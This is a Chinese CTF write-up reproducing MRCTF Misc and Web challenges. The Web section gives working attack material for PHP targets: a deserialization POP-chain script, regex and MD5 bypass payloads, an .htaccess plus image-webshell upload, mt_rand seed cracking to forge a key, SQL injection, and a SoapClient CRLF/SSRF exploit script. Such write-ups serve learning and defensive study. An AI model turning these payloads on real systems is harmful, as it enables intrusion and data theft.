MRCTF复现

Misc

千层套路

和BJDCTF的一题一样,密码为文件名,重复解压,脚本跑就完事了。

ezmisc

修改行高。

你能看懂音符吗

用010editor打开,发现rar文件头错了,改为5261。正常之后解压缩,看到一个doc文档。
doc隐写的一种(其他方法参考https://xz.aliyun.com/t/1883/):
在这里插入图片描述
但此时还只能显示不能复制,还要一步操作:
在这里插入图片描述
再进入音符解密页面解密即可

A Signal From ISS

robot36分析即可,安装包在robot36-1.44\app\release目录下。
在这里插入图片描述
(这个是我用电脑插耳机顶着手机麦克风得到的图像,这声音属实难顶)

寻找xxx

解压之后有一个.wav文件,听了后发现是手机按键音(双音多频信号),把听到的数字发给公众号即可。

不眠之夜

拼图

Unravel!!

binwalk一下图片,发现又隐藏,foremost一下,发现多了三个文件,两张内容为Tokyo的图片和一个zip文件,打开是名字叫aes.png的图片,内容是Tokyo。

.wav提示我们看文件末尾,那就用010editor看看吧。得到一串字符:y=U2FsdGVkX1/nSQN+hoHL8OwV9iJB/mSdKk5dmusulz4=,根据前面的明示很显然是aes加密。
解密之后,得到一串字符:CCGandGulu,以此为密码解压缩,得到一个音频文件,用silenteye解开即可。

pyflag

解压后有三张图片,每张图片末尾有一段数据
在这里插入图片描述
拼接起来之后就是一个zip文件。看hex文件没有伪加密,于是爆破密码,得到密码为1234。
打开flag.txt,得到一串密文:

G&eOhGcq(ZG(t2*H8M3dG&wXiGcq(ZG&wXyG(j~tG&eOdGcq+aG(t5oG(j~qG&eIeGcq+aG)6Q<G(j~rG&eOdH9<5qG&eLvG(j~sG&nRdH9<8rG%++qG%__eG&eIeGc+|cG(t5oG(j~sG&eOlH9<8rH8C_qH9<8oG&eOhGc+_bG&eLvH9<8sG&eLgGcz?cG&3|sH8M3cG&eOtG%_?aG(t5oG(j~tG&wXxGcq+aH8V6sH9<8rG&eOhH9<5qG(<E-H8M3eG&wXiGcq(ZG)6Q<G(j~tG&eOtG%+<aG&wagG%__cG&eIeGcq+aG&M9uH8V6cG&eOlH9<8rG(<HrG(j~qG&eLcH9<8sG&wUwGek2)

hint.txt提示我们用base解密。查找资料后发现是base85。
用python带的解密函数解密之后得到一串16进制字符,经过base16、base32、base16、base64解密后得到flag。

Hello_Misc

文件打开后得到一个flag.rar和try to restore it.png。flag.rar需要密码,那就先看看图片。
图片说试着还原它,但检查crc都是正确的。但看图片的hex下面好像有一个压缩包,foremost一下。
果然出来了一个带密码的压缩包。

接下来就是见证奇迹的时刻
把图片的红色部分全部截掉(一点不能多一点不能少)
在这里插入图片描述
,然后把它当成二进制保存为图片,就可以看到:
是不是觉得十分鬼畜?
保存图片的脚本如下:

from PIL import Image
import numpy as np
import re
import struct

img = Image.open('img.png')
a = np.array(img)
a.shape

c = ''
for i in range(58):
    for j in range(1024):
        if (a[i, j, 0] == 255):
            c += '1'
        else:
            c += '0'

b = re.findall(r'.{8}', c)

d = []
for i in b:
    d.append(int(i, 2))

o = open('out.png', 'wb')

for i in d:
    t = struct.pack('B', i)
    o.write(t)

o.close()

用得到的密码打开刚刚分离的压缩文件,得到一长串的数字
在这里插入图片描述
发现只有四个数字,脚本跑一跑,得到了flag.zip的密码。
脚本如下:

fp = open('out.txt','r')
a = fp.readlines()
p = []
for i in a:
    p.append(int(i))
s = ''
for i in p:
    if i == 63:
        a = '00'
    elif i == 127:
        a = '01'
    elif i == 191:
        a = '10'
    elif i == 255:
        a = '11'
    s += a
    
d = re.findall(r'.{8}', s)
o = ''
for i in d:
    o += chr(int(i, 2))
print(o)

打开发现fffflag.zip其实是一个docx文件,更改后缀之后打开,全选,发现下面有猫腻:
在这里插入图片描述
改变字体颜色得到一串密文

MTEwMTEwMTExMTExMTEwMDExMTEwMTExMTExMTExMTExMTExMTExMTExMTExMTExMTAxMTEwMDAwMDAxMTExMTExMTExMDAxMTAx
MTEwMTEwMTEwMDAxMTAxMDExMTEwMTExMTExMTExMTExMTExMTExMTExMTExMTExMTExMTAxMTExMTExMTExMTExMTEwMTEwMDEx
MTEwMDAwMTAxMTEwMTExMDExMTEwMTExMTExMTAwMDExMTExMTExMTExMDAxMDAxMTAxMTEwMDAwMDExMTExMDAwMDExMTExMTEx
MTEwMTEwMTAwMDAxMTExMDExMTEwMTExMTExMDExMTAxMTExMTExMTEwMTEwMTEwMTAxMTExMTExMTAwMTEwMTExMTExMTExMTEx
MTEwMTEwMTAxMTExMTExMDExMTEwMTExMTAxMDExMTAxMTExMTExMTEwMTEwMTEwMTAxMTAxMTExMTAwMTEwMTExMTExMTExMTEx
MTEwMTEwMTAwMDAxMTAwMDAwMTEwMDAwMDAxMTAwMDExMTAwMDAwMTEwMTEwMTEwMTAxMTEwMDAwMDAxMTExMDAwMDExMTExMTEx

是base64隐写加密,利用工具解密之后得到一串01字符
复制到doc,搜索0,即可得到flag

Web

Ezpop

点开即可看到源码,如下:

 <?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
} 

各个魔术方法作用如下:

在这里插入图片描述

  1. 首先看到Show类_wakeup(),反序列化时调用,以此起手。
  2. 由于_wakeup()处用preg_match()$this->source进行了比较,被当作字符串使用,于是开始调用_toString()
  3. _toString()处反序列化为Test类,由于_toString()里return了$this->str->source,且Test里没有$source,所以_get()会自动被调用
  4. Test类return一个$fuction(),正好符合Modifier类_invoke(),于是调用$this->append()append()里有一个inlcude(),如果此时inculde()里的值为php伪协议的话就可以顺利读取flag.php。

由于var为protected,所以在进入之前需要先进行url编码
PHP脚本如下:

<?php
//pop链测试
class Modifier
{
    protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show{
    public $source;
    public $str;
}
class Test{
    public $p;
}
$a = new Show();
$a->source=new Show();
$a->source->str = new Test();
$a->source->str->p = new Modifier();
echo urlencode(serialize($a));
?>

base64解码即可得到flag

套娃

F12可以看到有一段php代码:

<?php
$query = $_SERVER['QUERY_STRING'];

 if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
    die('Y0u are So cutE!');
}
 if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
    echo "you are going to the next ~";
}
?>

可以看到需要我们将b_u_p_t传进去,但参数名过滤了_%5f。我们用.代替下划线(空格也可以),即可将参数传入。下一步是b_u_p_t!=='23333'b_u_p_t需要匹配到23333
在这里插入图片描述
(正则表达式测试网站:https://regex101.com/)

我们可以看到,我们的正则表达式没有/gm,说明只匹配一行。我们利用换行符绕过即可。
payload:?b.u.p.t=23333%0a

pyflag

F12可以看到有一段前端代码:

function enc(code){
  hash = hex_md5(code);
  return hash;
}
function validate(){
  var code = document.getElementById("vcode").value;
  if (code != ""){
    if(hex_md5(code) == "0cd4da0223c0b280829dc3ea458d655c"){
      alert("您通过了验证!");
      window.location = "./flag.php"
    }else{
    alert("你的授权码不正确!");
    }
      }else{
        alert("请输入授权码");
      }
}

但是卵用没有,只是告诉你有个flag.php而已(我还傻傻的看了半小时,哭了)
跳转到flag.php,
在这里插入图片描述
利用XFF头伪造本地即可得到flag。

ez_bypass

点开,可以看到一串php代码:

<?php
//I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
    $id=$_GET['id'];
    $gg=$_GET['gg'];
    if (md5($id) === md5($gg) && $id !== $gg) {
        echo 'You got the first step';
        if(isset($_POST['passwd'])) {
            $passwd=$_POST['passwd'];
            if (!is_numeric($passwd))
            {
                 if($passwd==1234567)
                 {
                     echo 'Good Job!';
                     highlight_file('flag.php');
                     die('By Retr_0');
                 }
                 else
                 {
                     echo "can you think twice??";
                 }
            }
            else{
                echo 'You can not get it !';
            }

        }
        else{
            die('only one way to get the flag');
        }
}
    else {
        echo "You are not a real hacker!";
    }
}
else{
    die('Please input first');
}
}
?>

简单MD5绕过。第一层用数组绕过,第二层用弱类型比较绕过。
payload:
在这里插入图片描述

传马

简单文件上传。先上传一个.htaccess文件,在上传一个图片马,然后蚁剑连一下就好。

ez_audit

www.zip源码泄露,代码如下:

<?php 
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
    $username = $_POST['username'];
    $password = $_POST['password'];
    $Private_key = $_POST['Private_key'];
    if (($username == '') || ($password == '') ||($Private_key == '')) {
        // 若为空,视为未填写,提示错误,并3秒后返回登录界面
        header('refresh:2; url=login.html');
        echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
        exit;
}
    else if($Private_key != '*************' )
    {
        header('refresh:2; url=login.html');
        echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
        exit;
    }

    else{
        if($Private_key === '************'){
        $getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';'; 
        $link=mysql_connect("localhost","root","root");
        mysql_select_db("test",$link);
        $result = mysql_query($getuser);
        while($row=mysql_fetch_assoc($result)){
            echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
        }
    }
    }

} 
// genarate public_key 
function public_key($length = 16) {
    $strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $public_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
    return $public_key;
  }

  //genarate private_key
  function private_key($length = 12) {
    $strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    $private_key = '';
    for ( $i = 0; $i < $length; $i++ )
    $private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
    return $private_key;
  }
  $Public_key = public_key();
  //$Public_key = KVQP0LdJKRaV3n9D  how to get crispr's private_key???

之前安恒新年祈福赛的枯燥的抽奖类型差不多,就是利用mt_rand()伪随机数漏洞。
该题我们在知道了公钥之后可以得到它的seed,同样的seed随机同样次数出现的数是固定的,我们可以用php_mt_seed得到seed然后计算出私钥。下面是我的脚本:

<?php
$publickey = 'KVQP0LdJKRaV3n9D';
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$length = 16;
$ch2 = array();
for($i=0;$i<strlen($strings1);$i++){
    $ch2[$i] = substr($strings1,$i,1);
}
for($i=0;$i<16;$i++)
{
    $ch1 = substr($publickey, $i, 1);
    for($j=0;$j<strlen($strings1);$j++)
    {
        if($ch2[$j]==$ch1){
            echo $j." "."$j"." "."0"." ".(strlen($strings1)-1)." ";
            break;
        }
    }
}
?>

在使用php_mt_seed之前,我们要先进入文件所在目录运行make,编译一下
在这里插入图片描述
然后将刚刚脚本得出的数字放进php_mt_seed中,爆破即可得到seed
在这里插入图片描述
得到seed之后,利用mt_srand()进行播种。再调用私钥函数即可得到私钥。(奇怪的是我把wp的脚本复制下来都没得到wp里的密钥,很迷)
得到私钥之后用万能密码即可得到flag。

Ezpop_Revenge

www.zip源码泄露,下载下来。由于是构造pop链,所以先找到反序列化的地方。(我这里使用的是phpstorm的find in path,推荐在linux下使用命令find . -name "*"| xargs grep "unserialize"
在这里插入图片描述
反序列化的地方有很多,但能用的就这一个。
我们看看核心代码:

class HelloWorld_DB{
    private $flag="MRCTF{this_is_a_fake_flag}";
    private $coincidence;
    function  __wakeup(){
        $db = new Typecho_Db($this->coincidence['hello'], $this->coincidence['world']);
    }
}
class HelloWorld_Plugin implements Typecho_Plugin_Interface{
	public function action(){
		if(!isset($_SESSION)) session_start();
        if(isset($_REQUEST['admin'])) var_dump($_SESSION);
        if (isset($_POST['C0incid3nc3'])) {
			if(preg_match("/file|assert|eval|[`\'~^?<>$%]+/i",base64_decode($_POST['C0incid3nc3'])) === 0)
				unserialize(base64_decode($_POST['C0incid3nc3']));
			else {
				echo "Not that easy.";
			}
        }
    }
}

可以看到HelloWorld_DB类里又有一个Typecho_Db类,追一下。在/var/IXR/Typecho/Db.php里,核心代码如下:

class Typecho_Db{
public function __construct($adapterName, $prefix = 'typecho_')
    {
        /** 获取适配器名称 */
        $this->_adapterName = $adapterName;

        /** 数据库适配器 */
        $adapterName = 'Typecho_Db_Adapter_' . $adapterName;

        if (!call_user_func(array($adapterName, 'isAvailable'))) {
            throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");//__toString()
        }

        $this->_prefix = $prefix;

        /** 初始化内部变量 */
        $this->_pool = array();
        $this->_connectedPool = array();
        $this->_config = array();

        //实例化适配器对象
        $this->_adapter = new $adapterName();
    }
}

注意看$adapterName = 'Typecho_Db_Adapter_' . $adapterName;,此时将$adapterName进行拼接,即将其当作字符串使用,找找有没有_toString()。在var\Typecho\DbQuery.php中有一个该魔术方法。去除其他无关函数后内容如下:

class Typecho_Db_Query{
	private static $_default = array(
        'action' => NULL,
        'table'  => NULL,
        'fields' => '*',
        'join'   => array(),
        'where'  => NULL,
        'limit'  => NULL,
        'offset' => NULL,
        'order'  => NULL,
        'group'  => NULL,
        'having'  => NULL,
        'rows'   => array(),
    );
    private $_sqlPreBuild;
	public function __toString()
    {
        switch ($this->_sqlPreBuild['action']) {
            case Typecho_Db::SELECT:
                return $this->_adapter->parseSelect($this->_sqlPreBuild);
            case Typecho_Db::INSERT:
                return 'INSERT INTO '
                . $this->_sqlPreBuild['table']
                . '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')'
                . ' VALUES '
                . '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')'
                . $this->_sqlPreBuild['limit'];
            case Typecho_Db::DELETE:
                return 'DELETE FROM '
                . $this->_sqlPreBuild['table']
                . $this->_sqlPreBuild['where'];
            case Typecho_Db::UPDATE:
                $columns = array();
                if (isset($this->_sqlPreBuild['rows'])) {
                    foreach ($this->_sqlPreBuild['rows'] as $key => $val) {
                        $columns[] = "$key = $val";
                    }
                }

                return 'UPDATE '
                . $this->_sqlPreBuild['table']
                . ' SET ' . implode(' , ', $columns)
                . $this->_sqlPreBuild['where'];
            default:
                return NULL;
        }
}

这里我们要注意一下当$this->_sqlPreBuild['action']SELECT的时候,有一个parseSelect(),此时我们把$_adapter实例化为soapClient类,该类为php的原生类,没有parseSelect函数,从而调用该类里的_call(),关于其他原生类的一点用法如下:https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html#_label3

下面贴的是工作室的学长写的脚本,注意的是,要用soapclient类需要打开php_soap拓展

class Typecho_Db_Query{
    private $_adapter;
    private $_sqlPreBuild;
    public function __construct(){
        $this->_adapter = new soapclient(null,array('location' => "http://127.0.0.1/flag.php",
            'user_agent' => "AAA:BBB\r\n" .//这里用crlf设置了cookie,soapclient本来是不能设置coockie的,但可以通过crlf做到
                "Cookie:PHPSESSID=e6bsvffup1nrljkbchevhp9pe1",//这里要用自己的Cookie,要把session带出就必须要带入一个session
            'uri' => "http://127.0.0.1/"));
        $this->_sqlPreBuild['action']='SELECT';
    }
}
class HelloWorld_DB{
    private $coincidence;
    public function __construct(){
        $this->coincidence=array(
            "hello" => new Typecho_Db_Query(),
            "world" => "typecho_"
        );
    }
}

$a=new HelloWorld_DB();
echo base64_encode(serialize($a));

那么,该如何触发呢?我们看到www\var\Typechoplugin.php有这么一段:

public static function activate($pluginName)
    {
        self::$_plugins['activated'][$pluginName] = self::$_tmp;
        self::$_tmp = array();
        Helper::addRoute("page_admin_action","/page_admin","HelloWorld_Plugin",'action');
    }

可以看到这里添加了路由HelloWorld_Plugin,根据Typecho的文档,我们可以知道,只要访问了/page_admin,就可以调用HelloWorld_Plugin插件,把脚本输出的值POST传入参数C0incid3nc3之后就可以进行反序列化,然后利用soap访问flag.php实现SSRF,并将flag带入session中。

如何输出session呢?回到最开始的HelloWorld_DB类,有一个if(isset($_REQUEST['admin'])) var_dump($_SESSION);,也就是说只要传入admin参数即可。
结果如下:
在这里插入图片描述

发布了37 篇原创文章 · 获赞 2 · 访问量 1413

猜你喜欢

转载自blog.csdn.net/weixin_44377940/article/details/105206585